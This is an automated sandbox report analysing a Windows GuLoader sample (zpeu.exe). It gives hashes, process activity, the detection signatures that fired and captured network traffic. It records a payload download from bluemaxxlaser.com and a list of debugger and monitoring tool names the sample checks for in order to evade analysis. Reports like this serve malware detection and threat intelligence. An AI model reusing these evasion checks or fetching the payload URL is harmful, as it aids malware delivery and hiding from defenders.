Loading Joe Sandbox Report ...

Edit tour

Windows Analysis Report
zpeu.exe

Overview

General Information

Sample Name:zpeu.exe
Analysis ID:879661
MD5:c787b4e955c03262262f30ac9148ce03
SHA1:cbc63e133ed38a9d0c827347d063f72787ece7f6
SHA256:fec6c8206f4f293dd4f0d190f586346283ea5dae6f1bb4e4e913a01bfe2b2f5e
Infos:

Detection

GuLoader
Score:68
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Multi AV Scanner detection for submitted file
Yara detected GuLoader
Tries to detect Any.run
Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)
Opens the same file many times (likely Sandbox evasion)
Uses 32bit PE files
One or more processes crash
May sleep (evasive loops) to hinder dynamic analysis
Contains functionality to shutdown / reboot the system
Uses code obfuscation techniques (call, push, ret)
Sleep loop found (likely to delay execution)
Detected potential crypto function
Stores files to the Windows start menu directory
Contains functionality to dynamically determine API calls
Found dropped PE file which has not been started or loaded
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
AV process strings found (often used to terminate AV products)
Sample file is different than original file name gathered from version info
Drops PE files
Tries to load missing DLLs
Contains functionality to read the PEB
Uses a known web browser user agent for HTTP communication
Contains functionality for read data from the clipboard

Classification

  • System is w10x64native
  • zpeu.exe (PID: 1300 cmdline: C:\Users\user\Desktop\zpeu.exe MD5: C787B4E955C03262262F30AC9148CE03)
    • zpeu.exe (PID: 7664 cmdline: C:\Users\user\Desktop\zpeu.exe MD5: C787B4E955C03262262F30AC9148CE03)
      • WerFault.exe (PID: 2136 cmdline: C:\Windows\SysWOW64\WerFault.exe -u -p 7664 -s 204 MD5: 40A149513D721F096DDF50C04DA2F01F)
  • cleanup
No configs have been found
SourceRuleDescriptionAuthorStrings
00000002.00000002.56209186951.0000000006D69000.00000040.00001000.00020000.00000000.sdmpJoeSecurity_GuLoader_2Yara detected GuLoaderJoe Security
    No Sigma rule has matched
    No Snort rule has matched

    Click to jump to signature section

    Show All Signature Results

    AV Detection

    barindex
    Source: zpeu.exeVirustotal: Detection: 11%Perma Link
    Source: zpeu.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
    Source: zpeu.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
    Source: Binary string: C:\Code\SharpDX\Source\SharpDX.DXGI\bin\Release\SharpDX.DXGI.pdbLm source: zpeu.exe, 00000002.00000003.55442099926.0000000002970000.00000004.00000020.00020000.00000000.sdmp, SharpDX.DXGI.dll.2.dr
    Source: Binary string: mshtml.pdb source: zpeu.exe, 00000005.00000001.56020343851.0000000000649000.00000020.00000001.01000000.00000006.sdmp
    Source: Binary string: C:\Code\SharpDX\Source\SharpDX.DXGI\bin\Release\SharpDX.DXGI.pdb source: zpeu.exe, 00000002.00000003.55442099926.0000000002970000.00000004.00000020.00020000.00000000.sdmp, SharpDX.DXGI.dll.2.dr
    Source: Binary string: mshtml.pdbUGP source: zpeu.exe, 00000005.00000001.56020343851.0000000000649000.00000020.00000001.01000000.00000006.sdmp
    Source: C:\Users\user\Desktop\zpeu.exeCode function: 2_2_0040595A GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,2_2_0040595A
    Source: C:\Users\user\Desktop\zpeu.exeCode function: 2_2_0040658F FindFirstFileW,FindClose,2_2_0040658F
    Source: C:\Users\user\Desktop\zpeu.exeCode function: 2_2_00402862 FindFirstFileW,2_2_00402862
    Source: global trafficHTTP traffic detected: GET /rh/rheu.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0Host: bluemaxxlaser.com
    Source: unknownUDP traffic detected without corresponding DNS query: 1.1.1.1
    Source: zpeu.exe, 00000005.00000003.56720366842.0000000005AD2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://bluemaxxlaser.com/
    Source: zpeu.exe, 00000005.00000003.56720366842.0000000005AD2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://bluemaxxlaser.com/mD
    Source: zpeu.exe, 00000005.00000003.56720366842.0000000005AD2000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000002.56728126593.0000000005A78000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000002.56740811351.00000000352E0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://bluemaxxlaser.com/rh/rheu.bin
    Source: zpeu.exe, 00000005.00000003.56720366842.0000000005AD2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://bluemaxxlaser.com/rh/rheu.bin8D.
    Source: zpeu.exe, 00000005.00000002.56740811351.00000000352E0000.00000004.00001000.00020000.00000000.sdmpString found in binary or memory: http://bluemaxxlaser.com/rh/rheu.binBrudsSvealramsyadvocates.com/rh/rheu.bin
    Source: zpeu.exe, 00000005.00000003.56720366842.0000000005AD2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://bluemaxxlaser.com/rh/rheu.binHBW
    Source: zpeu.exe, 00000005.00000003.56720366842.0000000005AD2000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://bluemaxxlaser.com/rh/rheu.bingB4
    Source: zpeu.exe, 00000005.00000002.56728126593.0000000005A78000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: http://bluemaxxlaser.com/rh/rheu.binm
    Source: zpeu.exe, 00000005.00000001.56020343851.0000000000649000.00000020.00000001.01000000.00000006.sdmpString found in binary or memory: http://inference.location.live.com11111111-1111-1111-1111-111111111111https://partnernext-inference.
    Source: zpeu.exeString found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
    Source: zpeu.exe, 00000005.00000001.56020343851.0000000000649000.00000020.00000001.01000000.00000006.sdmpString found in binary or memory: http://www.gopher.ftp://ftp.
    Source: zpeu.exe, 00000005.00000001.56020343851.0000000000626000.00000020.00000001.01000000.00000006.sdmpString found in binary or memory: http://www.ibm.com/data/dtd/v11/ibmxhtml1-transitional.dtd-//W3O//DTD
    Source: zpeu.exe, 00000002.00000003.55443795260.0000000002971000.00000004.00000020.00020000.00000000.sdmp, bn.txt.2.drString found in binary or memory: http://www.oruddho.com
    Source: zpeu.exe, 00000005.00000001.56020343851.00000000005F2000.00000020.00000001.01000000.00000006.sdmpString found in binary or memory: http://www.w3c.org/TR/1999/REC-html401-19991224/frameset.dtd
    Source: zpeu.exe, 00000005.00000001.56020343851.00000000005F2000.00000020.00000001.01000000.00000006.sdmpString found in binary or memory: http://www.w3c.org/TR/1999/REC-html401-19991224/loose.dtd
    Source: zpeu.exe, 00000005.00000001.56020343851.0000000000649000.00000020.00000001.01000000.00000006.sdmpString found in binary or memory: https://inference.location.live.net/inferenceservice/v21/Pox/GetLocationUsingFingerprinte1e71f6b-214
    Source: unknownDNS traffic detected: queries for: bluemaxxlaser.com
    Source: global trafficHTTP traffic detected: GET /rh/rheu.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/112.0Host: bluemaxxlaser.com
    Source: C:\Users\user\Desktop\zpeu.exeCode function: 2_2_004053EF GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,SendMessageW,CreatePopupMenu,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,2_2_004053EF
    Source: zpeu.exeStatic PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE
    Source: C:\Users\user\Desktop\zpeu.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7664 -s 204
    Source: C:\Users\user\Desktop\zpeu.exeCode function: 2_2_0040333D EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,2_2_0040333D
    Source: C:\Users\user\Desktop\zpeu.exeCode function: 2_2_004069562_2_00406956
    Source: C:\Users\user\Desktop\zpeu.exeCode function: 2_2_00404C2C2_2_00404C2C
    Source: C:\Users\user\Desktop\zpeu.exeCode function: 5_2_000E2A0C5_2_000E2A0C
    Source: zpeu.exe, 00000002.00000003.55442099926.0000000002970000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameSharpDX.DXGI.dll< vs zpeu.exe
    Source: C:\Users\user\Desktop\zpeu.exeSection loaded: edgegdi.dllJump to behavior
    Source: C:\Users\user\Desktop\zpeu.exeSection loaded: edgegdi.dllJump to behavior
    Source: zpeu.exeVirustotal: Detection: 11%
    Source: C:\Users\user\Desktop\zpeu.exeFile read: C:\Users\user\Desktop\zpeu.exeJump to behavior
    Source: zpeu.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
    Source: C:\Users\user\Desktop\zpeu.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
    Source: unknownProcess created: C:\Users\user\Desktop\zpeu.exe C:\Users\user\Desktop\zpeu.exe
    Source: C:\Users\user\Desktop\zpeu.exeProcess created: C:\Users\user\Desktop\zpeu.exe C:\Users\user\Desktop\zpeu.exe
    Source: C:\Users\user\Desktop\zpeu.exeProcess created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 7664 -s 204
    Source: C:\Users\user\Desktop\zpeu.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32Jump to behavior
    Source: C:\Users\user\Desktop\zpeu.exeCode function: 2_2_0040333D EntryPoint,SetErrorMode,GetVersion,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcatW,lstrcatW,lstrcmpiW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,2_2_0040333D
    Source: C:\Users\user\Desktop\zpeu.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\spilplatformJump to behavior
    Source: C:\Users\user\Desktop\zpeu.exeFile created: C:\Users\user\AppData\Local\Temp\nsy1AA0.tmpJump to behavior
    Source: classification engineClassification label: mal68.troj.evad.winEXE@3/8@1/1
    Source: C:\Users\user\Desktop\zpeu.exeCode function: 2_2_004020FE CoCreateInstance,2_2_004020FE
    Source: C:\Users\user\Desktop\zpeu.exeFile read: C:\Users\desktop.iniJump to behavior
    Source: C:\Users\user\Desktop\zpeu.exeCode function: 2_2_004046B0 GetDlgItem,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,2_2_004046B0
    Source: C:\Users\user\Desktop\zpeu.exeMutant created: \Sessions\1\BaseNamedObjects\MSCTF.Asm.{00000009-4fb3f26-9d18-66b568-627b8a85e4b6}
    Source: zpeu.exeStatic PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
    Source: Binary string: C:\Code\SharpDX\Source\SharpDX.DXGI\bin\Release\SharpDX.DXGI.pdbLm source: zpeu.exe, 00000002.00000003.55442099926.0000000002970000.00000004.00000020.00020000.00000000.sdmp, SharpDX.DXGI.dll.2.dr
    Source: Binary string: mshtml.pdb source: zpeu.exe, 00000005.00000001.56020343851.0000000000649000.00000020.00000001.01000000.00000006.sdmp
    Source: Binary string: C:\Code\SharpDX\Source\SharpDX.DXGI\bin\Release\SharpDX.DXGI.pdb source: zpeu.exe, 00000002.00000003.55442099926.0000000002970000.00000004.00000020.00020000.00000000.sdmp, SharpDX.DXGI.dll.2.dr
    Source: Binary string: mshtml.pdbUGP source: zpeu.exe, 00000005.00000001.56020343851.0000000000649000.00000020.00000001.01000000.00000006.sdmp

    Data Obfuscation

    barindex
    Source: Yara matchFile source: 00000002.00000002.56209186951.0000000006D69000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
    Source: C:\Users\user\Desktop\zpeu.exeCode function: 2_2_10002DE0 push eax; ret 2_2_10002E0E
    Source: C:\Users\user\Desktop\zpeu.exeCode function: 5_3_0008582C push ebp; iretd 5_3_0008582D
    Source: C:\Users\user\Desktop\zpeu.exeCode function: 5_3_00083854 push eax; ret 5_3_00083955
    Source: C:\Users\user\Desktop\zpeu.exeCode function: 5_3_000838BC push eax; ret 5_3_00083955
    Source: C:\Users\user\Desktop\zpeu.exeCode function: 5_3_00084ABD push dword ptr [edx+ebp+3Bh]; retf 5_3_00084ACA
    Source: C:\Users\user\Desktop\zpeu.exeCode function: 5_3_00085323 push es; retf 5_3_00085324
    Source: C:\Users\user\Desktop\zpeu.exeCode function: 5_3_00085366 push esp; retf 5_3_00085376
    Source: C:\Users\user\Desktop\zpeu.exeCode function: 5_3_00082F9A push esi; retf 5_3_00082F9B
    Source: C:\Users\user\Desktop\zpeu.exeCode function: 5_3_00082FA6 push es; retf 5_3_00082FAF
    Source: C:\Users\user\Desktop\zpeu.exeCode function: 5_3_000853EE pushad ; ret 5_3_000853F1
    Source: C:\Users\user\Desktop\zpeu.exeCode function: 5_2_000E22BB push esp; iretd 5_2_000E22BC
    Source: C:\Users\user\Desktop\zpeu.exeCode function: 5_2_000E28F2 push es; retf 5_2_000E28F5
    Source: C:\Users\user\Desktop\zpeu.exeCode function: 5_2_000E4F19 push es; retf 5_2_000E4F1A
    Source: C:\Users\user\Desktop\zpeu.exeCode function: 5_2_000E2558 pushad ; iretd 5_2_000E2559
    Source: C:\Users\user\Desktop\zpeu.exeCode function: 2_2_10001B18 GlobalAlloc,lstrcpyW,lstrcpyW,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,GlobalFree,lstrcpyW,GetModuleHandleW,LoadLibraryW,GetProcAddress,lstrlenW,2_2_10001B18
    Source: C:\Users\user\Desktop\zpeu.exeFile created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\spilplatform\Thenceforth\Mammutternes\SharpDX.DXGI.dllJump to dropped file
    Source: C:\Users\user\Desktop\zpeu.exeFile created: C:\Users\user\AppData\Local\Temp\nsx575C.tmp\System.dllJump to dropped file
    Source: C:\Users\user\Desktop\zpeu.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\LangustJump to behavior
    Source: C:\Users\user\Desktop\zpeu.exeFile created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Langust\GradeJump to behavior
    Source: C:\Users\user\Desktop\zpeu.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\Desktop\zpeu.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\Desktop\zpeu.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\Desktop\zpeu.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\Desktop\zpeu.exeProcess information set: NOOPENFILEERRORBOXJump to behavior
    Source: C:\Users\user\Desktop\zpeu.exeProcess information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOXJump to behavior
    Source: C:\Windows\SysWOW64\WerFault.exeProcess information set: FAILCRITICALERRORS | NOGPFAULTERRORBOXJump to behavior

    Malware Analysis System Evasion

    barindex
    Source: C:\Users\user\Desktop\zpeu.exeFile opened: C:\Program Files\Qemu-ga\qemu-ga.exeJump to behavior
    Source: C:\Users\user\Desktop\zpeu.exeFile opened: C:\Program Files\qga\qga.exeJump to behavior
    Source: zpeu.exe, 00000005.00000003.56719918404.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56719687488.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56227368670.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56185202432.0000000035EAE000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: PROCMON.EXE
    Source: zpeu.exe, 00000005.00000003.56719918404.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56719687488.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56227368670.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56185202432.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56719918404.0000000035E9D000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: HOOKEXPLORER.EXE
    Source: zpeu.exe, 00000005.00000003.56719918404.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56719687488.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56227368670.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56185202432.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56719918404.0000000035E9D000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: AUTORUNSC.EXE
    Source: zpeu.exe, 00000005.00000003.56719918404.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56719687488.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56227368670.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56185202432.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56719918404.0000000035E9D000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OLLYDBG.EXE
    Source: zpeu.exe, 00000005.00000003.56719918404.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56719687488.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56227368670.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56185202432.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56719918404.0000000035E9D000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: REGMON.EXE
    Source: zpeu.exe, 00000005.00000003.56719918404.0000000035E9D000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: 5SSLASSO.EXEWIRESHARK.EXEFIDDLER EVERYWHERE.EXEFIDDLER.EXEIDA.EXEIDA64.EXEIMMUNITYDEBUGGER.EXEWINDUMP.EXEX64DBG.EXEX32DBG.EXEOLLYDBG.EXEPROCESSHACKER.EXEIDAQ64.EXEAUTORUNS.EXEDUMPCAP.EXEDE4DOT.EXEHOOKEXPLORER.EXEILSPY.EXELORDPE.EXEDNSPY.EXEPETOOLS.EXEAUTORUNSC.EXERESOURCEHACKER.EXEFILEMON.EXEREGMON.EXEWINDANR.EXE
    Source: zpeu.exe, 00000005.00000003.56719918404.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56719687488.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56227368670.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56185202432.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56719918404.0000000035E9D000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: AUTORUNS.EXE
    Source: zpeu.exe, 00000002.00000002.56207345148.00000000005A0000.00000004.00001000.00020000.00000000.sdmp, zpeu.exe, 00000005.00000002.56729247072.0000000005D60000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE
    Source: zpeu.exe, 00000005.00000003.56719918404.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56719687488.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56227368670.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56185202432.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56719918404.0000000035E9D000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: PETOOLS.EXE
    Source: zpeu.exe, 00000005.00000003.56185202432.0000000035EAE000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: PROCEXP.EXEPROCEXP64.EXETCPVIEW.EXETCPVIEW64.EXEPROCMON.EXEPROCMON64.EXEVMMAP.EXEVMMAP64.EXEPORTMON.EXEPROCESSLASSO.EXEWIRESHARK.EXEFIDDLER EVERYWHERE.EXEFIDDLER.EXEIDA.EXEIDA64.EXEIMMUNITYDEBUGGER.EXEWINDUMP.EXEX64DBG.EXEX32DBG.EXEOLLYDBG.EXEPROCESSHACKER.EXEIDAQ64.EXEAUTORUNS.EXEDUMPCAP.EXEDE4DOT.EXEHOOKEXPLORER.EXEILSPY.EXELORDPE.EXEDNSPY.EXEPETOOLS.EXEAUTORUNSC.EXERESOURCEHACKER.EXEFILEMON.EXEREGMON.EXEWINDANR.EXEY
    Source: zpeu.exe, 00000005.00000003.56719918404.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56719687488.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56227368670.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56185202432.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56719918404.0000000035E9D000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: WINDUMP.EXE
    Source: zpeu.exe, 00000002.00000002.56207518105.000000000065E000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\C:\PROGRAM FILES\QEMU-GA\QEMU-GA.EXE
    Source: zpeu.exe, 00000005.00000003.56719918404.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56719687488.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56227368670.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56185202432.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56719918404.0000000035E9D000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: DUMPCAP.EXE
    Source: zpeu.exe, 00000005.00000003.56719918404.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56719687488.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56227368670.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56185202432.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56719918404.0000000035E9D000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: WINDANR.EXE
    Source: zpeu.exe, 00000005.00000003.56719918404.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56719687488.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56227368670.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56185202432.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56719918404.0000000035E9D000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: WIRESHARK.EXE
    Source: zpeu.exe, 00000005.00000003.56719918404.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56719687488.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56227368670.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56185202432.0000000035EAE000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000003.56719918404.0000000035E9D000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: FILEMON.EXE
    Source: C:\Users\user\Desktop\zpeu.exeFile opened: C:\Users\user\Videos\Tonishly\Unitten\Hyoscyamine.ini count: 49916Jump to behavior
    Source: C:\Users\user\Desktop\zpeu.exe TID: 3068Thread sleep count: 1154 > 30Jump to behavior
    Source: C:\Users\user\Desktop\zpeu.exeThread sleep count: Count: 1154 delay: -5Jump to behavior
    Source: C:\Users\user\Desktop\zpeu.exeDropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\spilplatform\Thenceforth\Mammutternes\SharpDX.DXGI.dllJump to dropped file
    Source: C:\Users\user\Desktop\zpeu.exeWindow / User API: threadDelayed 1154Jump to behavior
    Source: C:\Users\user\Desktop\zpeu.exeCode function: 2_2_0040595A GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,2_2_0040595A
    Source: C:\Users\user\Desktop\zpeu.exeCode function: 2_2_0040658F FindFirstFileW,FindClose,2_2_0040658F
    Source: C:\Users\user\Desktop\zpeu.exeCode function: 2_2_00402862 FindFirstFileW,2_2_00402862
    Source: C:\Users\user\Desktop\zpeu.exeAPI call chain: ExitProcess graph end nodegraph_2-4968
    Source: C:\Users\user\Desktop\zpeu.exeAPI call chain: ExitProcess graph end nodegraph_2-4960
    Source: zpeu.exe, 00000002.00000002.56287711625.0000000010059000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Hyper-V Guest Shutdown Service
    Source: zpeu.exe, 00000005.00000003.56720366842.0000000005AA2000.00000004.00000020.00020000.00000000.sdmp, zpeu.exe, 00000005.00000002.56728438587.0000000005AA3000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW@A
    Source: zpeu.exe, 00000005.00000003.56720084272.0000000005AE7000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAWw
    Source: zpeu.exe, 00000002.00000002.56287711625.0000000010059000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Hyper-V Remote Desktop Virtualization Service
    Source: zpeu.exe, 00000002.00000002.56287711625.0000000010059000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: vmicshutdown
    Source: zpeu.exe, 00000002.00000002.56287711625.0000000010059000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Hyper-V Volume Shadow Copy Requestor
    Source: zpeu.exe, 00000002.00000002.56287711625.0000000010059000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Hyper-V PowerShell Direct Service
    Source: zpeu.exe, 00000002.00000002.56287711625.0000000010059000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Hyper-V Time Synchronization Service
    Source: zpeu.exe, 00000002.00000002.56287711625.0000000010059000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: vmicvss
    Source: zpeu.exe, 00000005.00000003.56720084272.0000000005AE7000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW
    Source: zpeu.exe, 00000002.00000002.56207345148.00000000005A0000.00000004.00001000.00020000.00000000.sdmp, zpeu.exe, 00000005.00000002.56729247072.0000000005D60000.00000004.00001000.00020000.00000000.sdmpBinary or memory string: C:\Program Files\Qemu-ga\qemu-ga.exe
    Source: zpeu.exe, 00000002.00000002.56287711625.0000000010059000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Hyper-V Data Exchange Service
    Source: zpeu.exe, 00000002.00000002.56287711625.0000000010059000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Hyper-V Heartbeat Service
    Source: zpeu.exe, 00000002.00000002.56287711625.0000000010059000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: Hyper-V Guest Service Interface
    Source: zpeu.exe, 00000002.00000002.56207518105.000000000065E000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: \??\C:\Program Files\Qemu-ga\qemu-ga.exe
    Source: zpeu.exe, 00000002.00000002.56287711625.0000000010059000.00000004.00000800.00020000.00000000.sdmpBinary or memory string: vmicheartbeat
